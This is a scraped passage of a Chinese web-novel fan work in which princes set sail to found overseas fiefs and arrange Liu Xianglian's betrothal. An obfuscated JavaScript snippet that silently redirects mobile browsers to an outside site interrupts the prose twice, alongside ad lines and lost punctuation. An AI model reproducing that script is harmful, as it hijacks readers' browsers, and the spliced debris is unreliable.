说着,他也不卖关子,直接说道:“便是那柳二郎,他父母早亡,是他姑母帮着照应。他读书不成,倒是学了不少武艺,性子也豪爽,颇有古书上那等游侠之风,京中各家子弟,就没他不认识的,也就是他没那么心思,平时就知道喝酒赌钱,上台串戏,要不然的话,他一个人都能折腾出一番事业来!” 徒嘉钰的确听说过这个名字,柳湘莲比贾瑚还小几岁,却已经在京中浮浪子弟中混出了许多名声来。他是理国公府的旁支子弟,父母过世得早,却也给他留了不少田产房屋,也有一些浮财。他姑母因着只有他一个侄子,对他也颇为照应,常有贴补。他是个仗义疏财的性子,但凡有谁手里不趁手的,都肯帮忙,久而久之,连着家业都被他变卖了不少,但也打出了名头。他一句话,在那些落魄世家子弟中还是很有分量的。 徒嘉钰越想越觉得这是个妙人,笑道:“果然不错,我这便去请他!” 小说全网首发无弹窗免费阅读qiexs?(请来企鹅 小说 看最新章节 完整章节) 本朝宗室一直无权,因此也拿不起什么架子来,人家也是开国勋贵之后,倒也值得徒嘉钰这个王爷礼贤下士一回。 徒嘉钰回去就备了一份礼,打听到柳湘莲在家,就亲自带了几个人上门拜访。 柳湘莲听说来的是平王,整个人都是懵的。 平王府也会请戏班子上门唱戏,但因为他们府里女眷多,因而请的都是坤班,柳湘莲便是串戏,选择的也是乾班,自然跟平王府没打过什么交道。 海外的事情闹得沸沸扬扬,他原本心中也有些意向,但是他姑母一听说,便过来哭了一回,他只得偃旗息鼓,毕竟,如今他就这么个正经的长辈, 至于理国公府那边,因着他性子浪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689550|117602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荡的缘故,早就不肯管他了,偏生姑母素来待他极好,他也不好违逆了姑母的意思。 这会儿徒嘉钰过来,柳湘莲略一思量,就猜到缘由,很快惊喜不已。他虽说在许多人眼里就是个浪荡子,但是本心里头,并非不想看出一番事业来。要不然,练武也是一件苦差事,他怎么就能一直坚持下来呢?他又不欺男霸女,无非就是想着什么时候就有用武之地罢了。如今连王爷也听说了自己的名头,竟是亲自上门,怎么不叫他心中生出几多豪情来呢? 而等着徒嘉钰瞧见柳湘莲的时候,也是一惊。柳湘莲是真的生得好,徒嘉钰认识的人里头,应该是贾瑚的弟弟贾琏生得最俊俏,但比起柳湘莲,还是差了一些。 柳湘莲的俊美并无半点女气,而是带着勃勃英气,立马就叫徒嘉钰生出许多好感来。 而柳湘莲瞧徒嘉钰也是一样,虽说是正经的王爷,身上却无骄矜之气,却是少年意气,看起来英姿勃发,这就很符合柳湘莲的胃口。两人几乎是相见恨晚,很快言语就热络起来。 等着徒嘉钰邀请柳湘莲一起出海的时候,他已经浑然将姑母的哭诉忘在脑后,一口答应下来。 徒嘉钰大喜过望,直接先给了柳湘莲一个亲卫统领的名头,请柳湘莲自个招募人手,然后直接先给了五千两银子作为安置费用。 柳湘莲愈发生出点士为知己者死的冲动,立马大包大揽,保证年前就将队伍招募整齐。等着徒嘉钰一走,柳湘莲就立马行动起来。 这回,便是一直跟着柳湘莲的老仆也说不出话来,毕竟,以前柳湘莲想要出去,那是以普通移 民的身份,如今却是有正经的官身了。平王以后肯定是一国之主,柳湘莲如今跟上,说不定之后就是大将军,也算是光宗耀祖。怀着这样的心思,老仆都精神振奋起来,也不嫌柳湘莲乱花钱了,反而跟着置办起出海要用的东西来。他从小看着柳湘莲长大,肯定是不放心柳湘莲单独出去的。 末儿这边见徒嘉钰这般行动,也有了紧迫感。 徒嘉钰可以选柳湘莲做亲卫统领,末儿这边却一时半会儿找不到合适的人。他之前说可以将自己的那一份由徒嘉钰托管,但如今徒嘉钰理所当然地叫柳湘莲连着末儿的那一份一起招募,他又有些不乐意了! 倒不是信不过自己的亲哥哥,实在是他也不能一辈子被哥哥庇护啊! 只是思来想去,自己这么多年认识的人跟哥哥都是重叠的,如今哥哥占了先手,末儿这个做弟弟的就开始抓瞎。 没办法,末儿只得求助顾晓。 顾晓见末儿居然开始对出海的事情上心了,不免也有些欣慰,然后便问道:“你觉得,如果要出海开拓,什么人最重要?” 末儿想了一会儿,忽然眼睛一亮:“是工匠!”他可是听顾晓说过那边的情况,主要是自家嫂子陪嫁了许多工匠,他那会儿不明白,顾晓还跟他解释了一下。 顾晓笑道:“正是如此,那边原住民可以沟通,保持一定的武力威慑就可以,不一定非要跟他们真刀真枪地打打杀杀。但那边的土地都没有经过开发,那里的原住民可以茹毛饮血,你们过去却是不能,你们需要盖房子甚至建城,还要开垦土地,兴建水利,这些固然需要足够的人手,也需要更多的工具。都从中原带过去显然不现实,所以就得带上工匠到那边打造足够的工具。另外还得有那等擅长勘察矿脉的人,找到相应的矿脉,然后采矿冶炼,如此才能渐渐自给自足,要不然的话,你们移 民作甚,直接跟那些原住民做生意不就好了?” 末儿一听,不免若有所思,又问道:“可是水平够高的工匠都是在工部之类的地方……” 顾晓只是一笑:“这我可不知道,你得自己出去打探才行!” 末儿在顾晓这里得不到答案,果然带着几个人出去打听去了。 末儿以前根本不关心什么工匠的事情,他想要什么东西,吩咐一声就行,根本不会跟工匠有任何接触。如今他先是查看了一下王府名下工匠的情况,很快就发现,这个行当居然有许多规矩。 正常情况下,许多行当的技艺都是父子相传,毕竟,一门手艺就是吃饭的本事,谁会没事教给外人。但也有一些意外,比如说一些危险性比较高或者说比较辛苦的工种,只要能攒够钱叫子孙转行,他们就情愿收徒弟,而不是教子弟。 另外有个麻烦就在于,便是你想要收徒,也不是随便就能收的,市场就那么大,你的徒弟多了,那就是跟同行抢饭吃,那是要被同行唾弃的。所以,即便是父子相传,一般也只会在儿子里头选一两个有天份肯吃苦的,其他人最多学点皮毛,或者说就算学了,也不能在当地谋生,得到别处去。 像是王府的工匠,这方面的规矩就宽松许多,因为他们的身契就在王府名下,算是王府的家奴,世代为王府服务。只是话是这样说,大家也不敢真的让所有孩子都子承父业,免得回头王府不需要这么多人了,到时候辛苦多年,还得被打发到别的岗位上去。 末儿又到外头打听了一番之后,很快就有了主意。 他直接叫人四处邀请各行各业的熟手工匠,不说让他们移 民,只说聘请他们收徒,他们的徒弟便是出了师,以后也是在海外做活,不会抢他们的营生。他可以给这些工匠签一道三年到七年不等的契约,除了底薪之外,能教出一个合格的徒弟出来,就有额外的奖励,能教出五个,奖励再翻一番,能教出十个,奖励就在之前的基础上再翻倍。契约期限结束,他们就可以带着丰厚的报酬回来,一路上的花销全部由王府开支,若是愿意留在那边,那么,王府另外还有奖励…… 他的条件一出,不少匠人都心动了。 作者有话要说 第 198 章 那什么湘莲是谁?... 第198章那什么湘莲是谁? 别看说什么士农工商,实际上工匠的地位一直不怎么样。固然有个一技之长,可以养家糊口,但实际上收益也就是那样,绝大多数挣的就是辛苦钱。 如今出海个三五年,多教几个不会跟自己和自己的后人抢饭碗的徒弟,就能挣上几百上千两甚至是更多的银子,谁不动心啊! 便是工部那些在册的工匠,听说了这事,都大为心动。他们说是有编制,看似旱涝保收,实际上比外头的还苦逼。不光要做本职的活,很多时候还要被上头的主官借调出去给人做私活,偏生钱都被上头拿了,他们却只能干瞪眼。 原本之前就有风声,朝廷会征调一部分工匠跟着几位王爷一起出藩,那会儿大家对此避之唯恐不及,如今要是也有这个待遇,哪怕只有一半呢,他们也情愿啊! 圣上听说这个消息,都有些郁闷了! 平王府肯定没有圣上有钱,但顾晓就这两个儿子,可以全力支持,而圣上呢,每年收益的确很多,但是花销也非常大,哪怕拿出三成来支持长子,都是不能。所以,平王府能许出的好处,圣上却是许不出来,至于说什么封官许愿,那更是不可能的事情。工部那边,便是几个大匠,也只是领着九品官的俸禄,本质上来说,是没有品级的。 真要是给工匠授官,朝堂上那些文武官员非跳起来不可。 所以,圣上只得也捏着鼻子多给了一些赏格,但是跟平王府的大手笔相比,就差远了。 顾晓也没有拖两个儿子后腿,等着过年的时候,凡是加入了徒嘉钰亲卫的人和答应了末儿邀约的工匠,都得到了一份来自王府的年礼。 亲卫的多半是荷包绸缎,因为他们多半出身世家贵族,无非就是旁支或者是已经没落,但还是需要妆点门面的,而工匠们得到的就很实惠,一条猪腿,一条羊腿,一袋大米,一袋白面,价值不算高,却够他们过一个丰盛的年。 朝廷已经定好了出发的时间,就在开春运河化冻之后,先乘船一路南下,到得南边之后,略微修整一番,就可与早就等在出海口的船队汇合,改乘海船,一路东行。 之所以选择这个时间,也是因为到了夏秋季节,海上边常有台风,不如趁着台风季节到来 之前尽快赶到如此也更安全。至于返航就可以选择中秋之后如此赶在寒冬到来之前便可回到中原。 眼看着两个孩子都要走了哪怕是顾晓给他们规划的这条路如今也开始不舍起来。虽说自己没有亲身感受过十月怀胎的感觉但这么多年下来感情也早就培养出来了。 只是顾晓面上还不能表现出来别说是末儿了徒嘉钰放在后世也还是个孩子呢!便是这年头的人普遍早熟但让一个孩子离开从小长大的地方去一个完全陌生的远方从头开始那也是一件极为伤感的事情。 顾晓白日里言笑晏晏但是私底下难免有些感怀下头一帮丫头想要安慰却也不知道如何安慰又因为顾晓的吩咐不好跟徒嘉钰和末儿说只得暂且忍着。 春香却是跟着顾晓的时间长了私底下不免问道:“娘娘既然不舍那好歹留下荣王爷何必叫两位王爷都出去呢?” 顾晓摇了摇头说道:“我只是怕他们以后后悔他们两人一母同胞 春香听了也不好再说什么。这话传出去末儿也就罢了还是个没心没肺的年纪徒嘉钰却是颇为感慨。没错别说是以后了便是现在若是他明知道有一个可以实现自己野心抱负的机会却因为要奉养母亲不得不留下来开始还好但是等到日后尤其是日后听到别人的成就之后自己就不会后悔吗? 他琢磨一下觉得自己跟弟弟最好还是隔两年轮流回来一次才好最好就是等将来他跟弟弟都创下基业真正成就一国之主之后就将母亲也接过去到时候母亲就是两国太后的身份岂不比如今更加尊荣自在? 出发之前圣上总算是将给几个子侄的封号给定了下来。 徒嘉珩正式被过继给义忠亲王连玉牒都改了封号晋王徒嘉钰被改封为郑王末儿被改封为卫王。其实一开始想要将徒嘉钰改封为宋王的但是宋朝 都叫老赵家的人给搞臭了,这个王号一下子也变得不吉利起来。而司马家虽说也恶心,但晋王这个封号,一直以来还算是头一档的,好几个皇帝登基之前都是晋王,因此,这个名号就是比其他王号尊贵。也算是圣上给这个嫡长子的补偿了,日后即便他让其他儿子出藩,最多也就是封个赵王魏王之类。 有了王号,就能开府建牙,不过好多编制都空着,得几个孩子自己去安排。 好在几个孩子身边,都还是有可靠的人的,郑家,张家,顾家,韩家等都算是外戚,他们天然就是跟几个王爷绑定在一起的,互相之间制衡,加上前些年,还都得依赖中原这边的补给,之后,也需要跟中原保持贸易关系,别的不说,中原这边卡一下脖子,他们就没法弄到移民,虽说大家都说那边的原住民除了语言不通之外,长相跟中原没什么区别。但大家心里头也都明白,这都几千年过去了,就算真的同根同种,那也差不多是非我族类了,想要真正吸收同化,除了经济文化优势之外,还得有足够的人口优势才行。 所以,在前面十年,那边的开发都得以移民为主,十年之后,几位王爷要是还不能掌控局面,就干脆老老实实跟外戚共治吧! 一行人出发的时候还没有出正月,新年的喜庆余韵还没有过去,就已经迎来了分别。 顾晓坐着马车,将两个儿子还有一个儿媳妇送到了通州码头,外头近乎人山人海。下人设了步障,顾晓看着两个孩子,一时间不知道该说什么好,好半天,顾晓才说道:“你们都要好好的,妈在家里等你们回来!” 徒嘉钰带着末儿给顾晓磕了个头,连着沅若也下跪行了礼,一起跟顾晓道别。 徒嘉钰原本自觉也还算伶牙俐齿,这会儿也不知道该说什么好,倒是末儿,强笑着说道:“妈,你就在家等着,回头儿子建个漂亮的王宫,就接你过去做王太后!” 顾晓听得都忍不住笑了,嗔道:“你啊,行,妈就在家里等着!” 送别的人很多,有的人家干脆是直接拖家带口一起去的,他们在中原就是标准的无产者,日日劳碌,一年到头都混不到温饱,如今出去就能做地主,尤其,连着王爷还有富家公子都跟着出去,可见这路上没什么风险,人家贵人都不怕,他们一条贱命,还怕什么呢? 送 走了两个孩子,好几天,顾晓都打不起精神来。末儿连已经年纪不小的白白和花花都跟着一起带走了,显得府里头愈发清静起来。 徒嘉泽跟佳姝可卿倒是日日都来请安,只是她们也明白,自己也不是亲生的,未必能弥补。 好在顾晓自个缓过来了,还叫人去宫里猫狗房选了一只刚断奶的狸花猫回来。 其实猫狗房那边给顾晓推荐的是临清猫和波斯猫,但顾晓觉得还是狸花猫更好一些,不那么娇贵,也更活泼一些。 因着这只狸花猫四只爪子都是白色,顾晓给这只猫取了个名字叫踏雪,小家伙活泼可爱,很快就俘获了正院众人的欢心。 有了踏雪派遣寂寞,顾晓赫然发现,紧接着就是徒嘉泽和佳姝的婚事。 徒嘉泽也就罢了,作为男子,他其实选择范围很大,都不会多影响他未来的生活质量。但是佳姝作为女子,她的品级是县主,婚事上头就得比佳婉略低一些。 顾晓还是琢磨着从勋贵圈子里头给佳姝选,起码生长环境相似,性情容易相投,不至于遇上什么软饭硬吃的凤凰男。 哪知道佳姝居然也想找个愿意出海,到时候可以一起出去的,这就叫顾晓觉得有些意外起来。 “这出海不是什么容易的事情,你跟着过去,很长一段时间,都没法过上如今这样优渥的生活了!顾晓生怕佳姝只是一时冲动,之后吃了苦头就要后悔,只得先将丑化说在前头。 佳姝却是说道:“哥哥他们不是已经过去了吗?我就不信,有个一两年时间,那边连房子都盖不起来!母妃,我也知道你的心意,不想让我嫁出去之后吃苦,所以想要给我选个贵族子弟!只是如今多少年没有战事,这些贵族人家爵位多半也传不了多久,若是像大姐夫一样,是个肯读书上进的也就罢了,若只想着借着家族的余荫,只图一世富贵,那以后又该如何呢?除了公主之子,将来还能封个爵位之外,我们这些郡主县主什么的,子孙并不会被另眼相看,难不成,女儿只图自己一时快活,倒是叫以后孩子沦为寻常不成? “那给你找个读书种子?顾晓试探道。 佳姝却很是冷静:“当年大姐夫那位姑母,嫁的还是探花郎呢,这么多年升迁也是艰难,换做是别人,还不知道什么时候能进士及第,说不 定一辈子都不成难道叫女儿养着婆家一辈子不成!女儿就想要找个有志气肯出去打拼的以前没有机会也就罢了如今有了机会还只知道在家享受的又怎么值得女儿托付终身呢?何况有哥哥和三弟在他出去了也未必要吃什么苦既是如此若还是不肯那女儿宁可不嫁了!” 顾晓竟是没想到佳姝居然是个望夫成龙的。只是佳姝想得也挺有道理若是想要一世无忧那一佳姝本身的品级和嫁妆随便嫁谁都不用担心但是以后子孙的前程可就说不准了。总不能如今半点力气都不出等着二十年后再去求哥哥弟弟做主吧! 顾晓想了想说道:“你既然心中已经有了成算那我也不多劝你了我回头就叫人出去打听一下。” 顾晓琢磨着真有这个志气的只怕这次就已经跟着出去了还有的估计还在观望先看看先遣队伍的成果如何。虽说这类人很可能是投机主义者但投机者未必就是什么坏人了横竖自家处在强势地位对方便是为了自己的前程无论如何也是不会做出对不住佳姝的事情来的要不然就是得罪了好几个国主辛苦一场可就付诸东流。 只是如今徒嘉钰不在这事也没法推给徒嘉泽想要打听这样的人思来想去最后还得落到贾家头上。好在如今佳婉已经嫁过去了 顾晓想好后便叫人请了佳婉回来将佳姝的择婿要求一说佳婉先是一惊然后便笑了起来:“妹妹倒是比我有主意这事就包在我身上了保证让妹妹满意!” 顾晓含笑说道:“这话你在我这边说就算了可别去你妹妹那里说免得叫她羞恼起来跟你没完!” “我这是为妹妹分忧呢她一时脸上挂不住回头有了如意郎君起码得给我一份谢媒礼吧!”嫁人之后佳婉许多原本不好说的话也能说了也就是当着顾晓这个长辈要是跟平辈的王熙凤和李纨在一起说不定还能说几个荤段子出来。 “母妃二妹妹有了想法三妹妹也不算小了可有什么想法?”佳婉给一个妹妹做媒还不算又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689551|117602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惦记上可卿了忍不住问道。 顾晓笑道:“她年纪小脸皮 薄,只怕便是有想法,也不敢说,要不你这个大姐姐去问问,她就说了! 佳婉一听,顿时乐了:“母妃说的是,女儿这就去见两个妹妹!好好问问她们的想法! 结果,佳婉走了这么一趟,还真是问出来了。 她这边才打趣了一下佳姝,就笑着问可卿:“等着你二姐姐出嫁了,家里就三妹妹你了,三妹妹想要什么样的?莫不是想要个状元郎? 可卿不由俏脸绯红,忙说道:“有大姐姐你这般的吗?就知道欺负我们这些做妹妹的!还什么状元郎,大姐姐是想要大姐夫做状元郎吧! 佳婉也不害臊,直接大大方方说道:“我之前就是看着你们大姐夫生得好,又是知根知底的,他便是不喜欢读书,就在家等着继承爵位,那我也喜欢! 听到佳婉说什么贾瑚生得好,可卿却是忍不住说道:“大姐夫比起那人来,也算不得生得好! 她的声音细如蚊蚋,佳姝都没听清楚,哪知道佳婉自幼耳目过人,竟是听到了,不免有些好奇:“三妹妹说的是谁?竟是比你大姐夫生得还好? 虽说别人以为贾琏比贾瑚生得好,但佳婉却不觉得,她总觉得贾琏有些女相,不够英气。如今一听居然有人在容貌上比贾瑚强,不免生出了些好胜心来。 可卿原以为自己声音小,姐姐听不见,如今发现竟是被听到了,不免臊了,忙说道:“我什么也没说! 结果连着佳姝也起了好奇心,说道:“我们两人素来同进同出,我都没见过什么外男,妹妹你又见着谁了? 她仔细想了想,忽然说道:“莫不是腊月里头,你那次说是去大哥书房里面借书,我没一起去,那次见到了? 见佳姝居然猜出来了,可卿涨红了脸,好半天才有些期期艾艾说道:“那个,我那次就是去的不巧,本来大哥不在的,我进去拿书,结果还没找到,就听到外头有人来了。我听到有外人的声音,就躲在了屏风后头,然后就见大哥领了个人回来,大哥叫他湘莲,我就偷偷看了一眼! 佳姝恍然大悟:“难怪你那次回来的时候慌慌张张的,好你个小妮子,那会儿春心就动了!那什么湘莲是谁?大姐姐,你可知道? 佳婉笑道:“别人我不知道,这人我还真听说过!他还 是你们姐夫举荐给大哥的是理国公府的旁支叫做柳湘莲的就是了!他已经跟着大哥一起出海了妹妹若是喜欢不如将人追回来?” 可卿忙说道:“不行!我要是喜欢他那就是嫁鸡随鸡嫁狗随狗难道为了我的那点子想法就将他绑在身边吗?到时候他岂不是要恨我一辈子?” 佳姝听了不由笑道:“竟是这样那以后我可就有妹妹作伴了!” 佳婉没好气地说道:“你们一个个都是只要男人不要别人的到时候全跑了以后就我和二弟在家里!” 佳姝跟佳婉一起长大讨好地挽住佳婉的胳膊说道:“我们以后也不是一直就在外头了也会回来的啊!” “你啊先问问你姨娘那边乐不乐意吧!”佳婉点了点佳姝的额头起身说道“你们两个丫头真是会给人出难题我去跟母妃说一声总得母妃那边允了才好!尤其是三妹你那柳湘莲身份终究差了点若是想要他做仪宾他就得这两年在那边立下功勋才行要不然一个亲卫何德何能能娶王府县主?” 佳婉又打趣了两个妹妹一番这才说道:“你们两个脸皮薄不好意思我去跟母妃说三妹妹的事情唉早知道你看上了他之前就该私底下将事情定下来如今这人走了万一在外头先娶了妻那就不好了!” 可卿一听顿时就有点着急起来也顾不得羞涩了忙说道:“大哥他们刚走了没多久应该还没换海船吧能给那边送个信吗?” 佳婉和佳姝都忍不住笑了起来:“这还八字没一撇呢三妹妹你就紧张起来了看样子你的确喜欢!行我这就去跟母妃说这事!” 听到佳婉说了此事的顾晓整个人都懵住了。 秦可卿跟柳湘莲这两人居然还能扯上关系?! 等着顾晓仔细思量了一下之后忽然发现这的确是个不错的姻缘。 柳湘莲一意要娶个绝色的而且说是在外头眠花宿柳实际上听说并未真的拈花惹草无非就是逢场作戏罢了!偏生可卿就是个绝色的要不然小字怎么会叫做兼美那是兼具钗黛之美无论是脸蛋还是身段那都无可挑剔 而且柳湘莲不仅生得好因为父母早亡的缘故性格也早熟可卿大概是因为幼年时候的经历更偏向于成熟一些的男性 不过可卿说是平王府的姑娘实际上还是义忠亲王的女儿她的婚事其实顾晓也做不得主! 因此顾晓便说道:“那丫头也是个口风紧的早说了我们不就早就跟你大哥通气了?如今才说虽说不至于六百里加急也得四百里加急早点追上船队先给钰儿传一封信过去虽说不好现在就将事情定下来但也得有个数才行!那柳湘莲年纪也不小了家里又不是没有长辈说不得都订亲了总得先问清楚才行!” 佳婉笑道:“真要是已经定了亲三妹妹可就要难过几天了!” 顾晓说道:“那就是他们没有缘分!” 结果等着顾晓将消息传进宫之后太上皇的意思就出来了我孙女看上的便是没缘分也得有缘分! 作者有话要说 第 199 章 像她父亲,那会儿... 第199章像她父亲那会儿 太上皇并不在意可卿看上的就是个勋贵旁支子弟,对于皇家来说前程这玩意真不重要略提携你一下,什么前程没有呢?一听说那柳湘莲生得好太上皇就忍不住想笑:“像她父亲,那会儿,他也是喜欢长得好的!” 实际上老徒家的人都一样几乎都是颜控但太上皇对死去的义忠亲王素来存在滤镜,所以对可卿也是爱屋及乌。横竖是个孙女喜欢美男子又怎么了?当然没问题了! 太上皇几乎是第一时间叫戴权去查柳湘莲有没有婚约,没有自然是皆大欢喜有的话也简单给女方那边一点好处,让他们找个借口退婚要是不肯体体面面的退,那就只能帮他们体面了。 至于圣上对于这门婚事也没什么想法。可卿这样的身份婚事上头本来就是个难题,别看他将徒嘉珩过继给了义忠亲王但要是可卿的身世叫外头知道说不定又有人借此生事。叫哪个有野心的娶了可卿回头打出义忠亲王的名头来硬是要跟他对着干,也是一桩麻烦。柳湘莲就很好,长相好,便是之前浪荡了些,却也没真的跟什么人发生超出友情的关系。最重要的是人已经跟着徒嘉钰出去了如此这门婚事在一些不知道的人眼里只当是徒嘉钰拿着妹妹拉拢心腹不会产生额外的影响。而可卿远赴海外即便是有心人想要借此兴风作浪也无从着手。 顾晓得知宫里对可卿的婚事并无意见之后也是松了口气。要是宫里非要给可卿找个什么sese俱全的婚事那可就轮到顾晓头疼了!毕竟明面上可卿就是平王府的私生女罢了虽说封了县主但有些人家还是有些嫌弃的。 没多久平王府派出去的信使也将信送到了徒嘉钰手里。 徒嘉钰看了之后 小说全网首发无弹窗免费阅读qiexs.com?(请来企鹅 小说 看最新章节 完整章节)ren不住乐了对着一边闲着没事正在嗑瓜子的末儿说道:“我之前还说湘莲那样的人品相貌到时候便宜了谁呢却是叫咱们妹妹给看上了!” 末儿忙凑过去抢过信来:“我看看我看看!” 瞧着末儿猴急的样子徒嘉钰却是偷笑一声又拆开了一封信赫然是写给末儿的。 顾晓还是很会端水的既然要写信就不能只给一个儿子另一个儿子也不能落下顾晓 同样在给末儿的信里提了一句这事嘱咐他此事不要说出去另外又关心了他一番言道江南气候与神京不同好生注意身体。再过几日他们就要出海到时候通信不便又有很长时间难以联系叫他不要任性好好保重自己不要让家里担心云云。 原本顾晓就叫人准备了不少防止晕船的成药这次又随信带上了一些薄荷油之类的东西叫两个孩子若是在海船上晕船就尽量先躺着不要在船上多走动。 至于说什么航海防止败血症之类的反倒是不用担心中原这边素来有在海上发豆芽的习惯另外他们这一路上还带了许多果干蔬菜干这些虽说在晒干过程中损失了相当一部分的维生素C但总算还保留了一些足够满足船员的要求了。 末儿一目十行看完了给徒嘉钰的那封信就发现徒嘉钰又拆了一封一看封面就知道是给自己的 他们一开始出门的时候还雄心万丈这一路上因为也看到了不少之前从未有机会看到的风景一直还带着兴奋但是等着看到顾晓信里的殷殷嘱托一个个顿时开始想念起家人来。 徒嘉钰见末儿有些低落忙说道:“这事咱们得先跟湘莲透个风万一他已经有婚约了那就只能传信过去叫三妹妹另觅佳婿了!” 末儿却是有些不乐意起来:“他跟着咱们一块出海难道也要妹妹跟着一起出海吃苦不成?” 徒嘉钰笑道:“妹妹还小也不可能现在就嫁等个几年咱们在外头难道还成不了事!妹妹到时候就算是县主到了咱们地头又跟公主有什么区别!别说是三妹妹了你二姐姐也想要一个有志气肯出来的呢!说什么好男儿志在四方如今天下承平想要建功立业就得看咱们的啊!” 末儿一想以后还有两个姐姐跟他们一起原本的一点不乐意也消失不见了乐呵呵说道:“这样也好到时候咱们再接了妈妈过去咱们一家子又在一起了!” 末儿这会儿可没什么背井离乡落叶归根之类的想法他还年少对于什么故乡根本就没什么概念得真正出去过几年才会生出类似的情绪来。当然若是他过得很好对于故乡最多有点想要衣锦还乡的意思 并不会对故乡有太多怀念。 他们出去是开辟藩国的,他们这样的藩王,就是正经的国主,可以如同天子一般,另立宗庙,日后对于老徒家来说,虽说还是小宗,但本质上来说,其实也可以不用那么听大宗的话了!甚至,因为距离比较远,能够独立自主之后,都不用像是高丽之类的藩国一样,随时都要看宗主国的脸色。 末儿这时候也没意识到将来会遭遇多少难题,就已经开始畅想未来可以成为多大土地的主人,有多少臣民了。再一想,还能在母亲姐妹那里显摆一下,这就愈发兴奋起来。 徒嘉钰也是说道:“既是如此,那咱们过去可得多加把劲了,总不能接了妈过去,还不如留在王府舒心!” 柳湘莲如今是亲卫头领,因此就跟兄弟两个在一艘船上,徒嘉钰干脆直接叫人去请柳湘莲过来。 柳湘莲刚刚四处巡视了一下,他之前就是类似于游侠儿一类的人,如今得受重用,只恨自己做得不够周到,辜负了郑王的器重。 听到徒嘉钰请他过去,柳湘莲不敢怠慢,立马就往徒嘉钰所在的船舱而去。 到了那边,柳湘莲就弯腰行礼,徒嘉钰连忙说道:“湘莲不必多礼,快坐!” 见徒嘉钰和末儿不像是要跟自己讨论公事的样子,柳湘莲松了口气,在椅子上斜签着坐下,问道:“王爷唤臣过来,有何事吩咐?” 徒嘉钰笑道:“湘莲不必如此,今儿请湘莲过来,是想要询问一下湘莲的私事!” 柳湘莲一愣,自己的私事,自己最近没做什么啊?他不免有点惶恐起来,忙说道:“王爷尽管问,臣知无不言!” 末儿笑嘻嘻说道:“不用这样,我哥就是想要问一下,你订亲了没有?跟着我们出去,有没有给未来岳家说一声……” 柳湘莲还没反应过来,随口就说道:“臣没有订亲呢!臣姑母之前本来说过此事,但臣一意想要娶个绝色女子为妻,姑母没有办法,只得先作罢了!” 徒嘉钰一听,不由哈哈一笑,说道:“竟是如此?那可就是巧了!” 柳湘莲这会儿猜出了徒嘉钰的心思,不由有些惊讶,ren不住说道:“难不成王爷想要为我做媒?”见徒嘉钰点头,下立马站了起来,拱手行礼:“王爷待湘莲大恩大德,湘莲没齿难忘! ” 徒嘉钰也站起身来笑道:“什么大恩大德湘莲啊你注定跟咱们家有缘只要你肯以后就是我们妹夫啦!”顾晓写信的时候就已经得知了宫里的心意因此信里面就说了只要柳湘莲愿意王府这边就可以将亲事先定下来因此徒嘉钰这会儿干脆直接以妹夫称呼了。 末儿这会儿越看柳湘莲越觉得他就是个仗着一副好皮相骗自家姐妹的小白脸这会儿又有些气鼓鼓起来不想说话。 但是徒嘉钰却是很高兴主要是可卿本来也不是在府里长大的徒嘉钰跟这个妹妹感情也有限不像是末儿都是在家读书跟姐妹们相处得也比较多。可卿生得漂亮性子也温柔可亲又是唯一一个比末儿小的末儿对这个妹妹还是很看重的看着柳湘莲就觉得就是一头想要啃自家白菜的猪。 徒嘉钰也没注意末儿的神情只瞧着柳湘莲神情还有些懵没好说是可卿自个看上了他毕竟女孩子还是需要矜持的只是笑道:“我之前看湘莲人品相貌就起了心思便跟家母说了一下家母叫人在外头打听了一下湘莲的人品性情也觉不错。只是湘莲有所不知我们家兄弟姐妹的婚事虽说都要家母做主但家母并非那等独断之人这婚姻之事都会询问我们这些儿女的意见。家母就私下询问了一下家里妹妹。不瞒湘莲说 柳湘莲都有些惶恐了他父亲就是理国公府的庶房之子堂伯父继承了爵位之后他们家就被分了出去在外头柳湘莲都不好意思打理国公府的旗号免得人家到时候不认更添尴尬。他之前说是要娶个绝色的也就是想要娶个小家碧玉罢了根本没想过能有高门贵女看上自己。如今人家王府县主看上自己柳湘莲都感觉有些不可置信! 这回他不敢说自己要娶个绝色了他那会儿是江湖上的浪荡子连打了薛蟠这么个查无此人的废物点心都要外出避祸所以可以随便口嗨但他如今不一样了是王爷亲信结果人家王爷想要嫁个妹妹给他这跟天上掉下来个馅饼还是金的有什么区别这叫柳湘莲难免有些胡思乱想这馅饼里头不会裹着什么东西吧! 瞧着柳湘莲那副患得患失的模样末儿没好气说道:“我家妹妹生得花容月貌 你也就是这模样长得不错,也就是我妹妹年纪小,没见过好的,这才便宜了你! 徒嘉钰在一边说道:“湘莲若是不愿,也是无妨…… 话还没说完,柳湘莲反应过来了,赶紧说道:“没有没有,我,臣愿意的! 徒嘉钰听了,笑道:“既是如此,我便给家母写信,不知湘莲可有什么信物,没有的话,不如先交换一下庚帖? 柳湘莲这会儿已经清醒过来了,忙说道:“信物是有的,臣有一对鸳鸯剑,是家中传代之物,臣一直随身收藏,这便取来作为信物! 等着信使带着徒嘉钰和末儿的信还有柳湘莲的庚帖和鸳鸯剑回来的时候,他们一行已经到了港口,略修整几日,便可登船出海。 哪怕两个儿子都换了王号,顾晓依旧是平王太妃,王府挂着的还是平王府的牌子。 平王府里,顾晓已经将鸳鸯剑送到了可卿院子里。 